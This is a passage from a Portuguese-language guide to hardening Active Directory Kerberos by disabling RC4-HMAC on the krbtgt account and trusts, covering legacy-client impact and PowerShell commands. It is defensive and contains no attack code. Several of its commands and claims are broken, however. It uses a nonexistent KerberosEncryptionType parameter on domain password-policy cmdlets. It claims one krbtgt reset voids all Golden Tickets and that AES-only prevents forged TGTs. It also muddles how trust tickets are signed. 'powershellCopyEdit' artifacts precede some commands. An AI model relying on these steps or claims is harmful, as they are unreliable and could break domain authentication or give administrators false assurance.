Get-ADUser krbtgt -Properties msDS-SupportedEncryptionTypes

Agora, o valor deve ser 24, indicando que apenas AES é aceito.

3️⃣ Passo 3: Resetar a Senha da Conta `krbtgt`

Após a mudança, é essencial redefinir a senha da conta krbtgt para que os novos tickets sejam gerados com AES.

Set-ADAccountPassword -Identity krbtgt -Reset

Isso faz com que todos os tickets emitidos anteriormente (incluindo Golden Tickets) se tornem inválidos.

⚠️ Impactos da Mudança nos Sistemas Operacionais

Desativar RC4-HMAC e forçar apenas AES pode impactar clientes e servidores Windows antigos que não suportam AES no Kerberos.

📌 Sistemas Impactados

Sistema Operacional	Impacto
Windows XP (SP2 e anteriores)	🚨 Não suporta AES no Kerberos
Windows Server 2003 (antes do SP2)	🚨 Não suporta AES no Kerberos
Windows Vista	⚠️ Pode exigir ajustes manuais para AES
Windows Server 2008 (sem R2)	⚠️ AES é suportado, mas não ativado por padrão

💡 Windows 7 e Windows Server 2008 R2 em diante já possuem suporte nativo ao AES no Kerberos e não serão impactados.

🔍 Como Verificar Se um Cliente Suporta AES no Kerberos?

No cliente Windows, execute:

klist

Se os tickets forem exibidos como RC4-HMAC, significa que AES não está sendo usado.

Para verificar a chave de criptografia usada, execute no DC:

Get-ADUser <usuario> -Properties msDS-SupportedEncryptionTypes

Se o valor não incluir AES256-CTS-HMAC-SHA1-96, o cliente não suporta AES.

9.6.3 Como Minimizar Impactos?

Se ainda houver Windows XP ou Server 2003 na rede, a mudança para AES pode causar falhas de autenticação para esses sistemas.

1️⃣ Habilitar AES no Windows Vista e Server 2008 (sem R2)

Para versões mais antigas que suportam AES mas não têm a configuração ativada por padrão, habilite manualmente:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters /v SupportedEncryptionTypes /t REG_DWORD /d 0x18 /f

Isso ativa AES no Kerberos para esses clientes.

2️⃣ Usar o Modo de Transição

Se ainda houver sistemas antigos no domínio, uma abordagem gradual pode ser usada:

Primeiro, habilitar AES sem desativar RC4-HMAC (msDS-SupportedEncryptionTypes=31).
Depois de confirmar que todos os clientes suportam AES, remover RC4-HMAC completamente (msDS-SupportedEncryptionTypes=24).

✅ Conclusão

Sim, é possível configurar a conta krbtgt para usar apenas Kerberos (AES), eliminando RC4-HMAC.
Isso reduz o risco de Golden Ticket Attacks, pois impede a criação de TGTs falsificados com o hash NTLM da krbtgt.
Sistemas legados como Windows XP e Server 2003 não suportam AES e podem ter falhas de autenticação.
Windows Vista e Server 2008 precisam de ajustes para usar AES corretamente.
O ideal é aplicar essa mudança apenas se a infraestrutura for totalmente compatível com AES no Kerberos.

9.6.4 Como a Desativação do RC4-HMAC Impacta a Autenticação Entre Domínios com Relação de Confiança?

Se você desativou RC4-HMAC no seu domínio, mas ele possui uma relação de confiança (trust) com outro domínio, a autenticação entre esses domínios pode ser impactada dependendo de quais algoritmos de criptografia Kerberos são suportados e permitidos em ambos os domínios.

Vou explicar em detalhes como a autenticação funciona em relações de confiança e o que acontece quando RC4-HMAC é desativado.

📌 Como Funciona a Autenticação em Relações de Confiança do AD?

Quando um usuário de Domínio A precisa acessar um recurso em Domínio B, a autenticação Kerberos acontece da seguinte forma:

1️⃣ Usuário se autentica no seu próprio domínio (Domínio A):

O KDC (Key Distribution Center) do Domínio A emite um Ticket Granting Ticket (TGT) para o usuário.
O TGT é assinado pela conta krbtgt do Domínio A.

2️⃣ Usuário solicita um Ticket para o Domínio B:

O usuário solicita um TGS (Ticket Granting Service) ao KDC do Domínio A, pedindo um ticket para o Domínio B.
O KDC do Domínio A emite um TGT para o Domínio B e o assina com a conta krbtgt do trust.

3️⃣ Usuário apresenta o ticket ao Domínio B:

O KDC do Domínio B valida o ticket e emite um novo TGS, que permite acesso ao recurso dentro do Domínio B.

📌 Se o RC4-HMAC for desativado, mas um dos domínios ainda exigir RC4, a autenticação pode falhar porque os tickets não serão assinados com um algoritmo compatível.

O que acontece quando o RC4-HMAC é desativado?

Se o Domínio A desativou RC4-HMAC, mas o Domínio B ainda exige RC4-HMAC, então:

❌ Usuários do Domínio A podem não conseguir autenticar-se em recursos do Domínio B porque os tickets emitidos pelo Domínio A não serão criptografados de uma forma que o Domínio B possa entender.

💡 Isso ocorre porque a relação de confiança do AD usa a conta krbtgt do trust para assinar tickets entre os domínios. Se o Domínio B não suporta AES, ele não conseguirá validar os tickets enviados pelo Domínio A.

✅ Como Verificar Quais Algoritmos São Suportados no Domínio?

Antes de desativar RC4-HMAC, verifique se ambos os domínios suportam AES.

1️⃣ Verificar os Algoritmos de Criptografia do Domínio

Get-ADDefaultDomainPasswordPolicy | Select-Object KerberosEncryptionType

📌 Se a saída mostrar RC4-HMAC, significa que RC4 ainda está sendo usado.

2️⃣ Verificar Quais Algoritmos a Conta krbtgt Está Usando

Get-ADUser krbtgt -Properties msDS-SupportedEncryptionTypes

📌 Se o valor for 0x27, RC4 ainda está habilitado. Se for 0x18, apenas AES está ativado.

✅ Como Resolver a Incompatibilidade Entre os Domínios?

Se o Domínio A desativou RC4, mas o Domínio B ainda depende de RC4, existem algumas soluções:

1️⃣ Garantir que Ambos os Domínios Suportem AES

Antes de desativar RC4, certifique-se de que o Domínio B também suporta AES. Você pode habilitar AES para a relação de confiança executando:

powershellCopyEditSet-ADUser -Identity "krbtgt" -Replace @{msDS-SupportedEncryptionTypes=24}

📌 Isso garante que a conta krbtgt do Domínio B use apenas AES-128 e AES-256.

2️⃣ Habilitar AES nas Relações de Confiança

Se os domínios suportam AES, podemos garantir que a relação de confiança use AES executando:

powershellCopyEditSet-ADObject -Identity "CN=DomínioB,CN=System,DC=corp,DC=local" -Replace @{msDS-SupportedEncryptionTypes=24}

📌 Isso garante que os tickets entre os domínios sejam assinados com AES e não com RC4.

3️⃣ Atualizar Políticas de Segurança do Domínio

Se houver sistemas antigos que ainda dependem de RC4, você pode definir uma política temporária que permite tanto RC4 quanto AES, até que todas as máquinas suportem AES completamente.

powershellCopyEditSet-ADDefaultDomainPasswordPolicy -KerberosEncryptionType AES256,AES128,RC4

📌 Isso mantém a compatibilidade enquanto sistemas mais antigos são migrados para suportar AES.

4️⃣ Verificar e Atualizar Clientes Legados

Se o Domínio B contém servidores ou estações Windows XP, Windows Server 2003 ou outras versões antigas, essas máquinas não suportam AES no Kerberos e podem causar falhas de autenticação.

🔹 Sistemas afetados:

Windows XP (não suporta AES)
Windows Server 2003 (não suporta AES)
Windows Vista e Server 2008 (AES pode estar desativado por padrão)

📌 Se houver sistemas antigos, eles precisarão ser atualizados ou configurados para suportar AES.

🎯 Conclusão

🔹 Se um domínio desativar RC4-HMAC, mas sua relação de confiança com outro domínio ainda exigir RC4, a autenticação entre os domínios pode falhar.
🔹 Para evitar isso, é necessário garantir que ambos os domínios suportem AES-128 e AES-256.
🔹 A melhor solução é atualizar a configuração da conta krbtgt e da relação de confiança para forçar o uso de AES.
🔹 Se houver sistemas legados que ainda exigem RC4, pode ser necessário manter uma configuração híbrida temporária.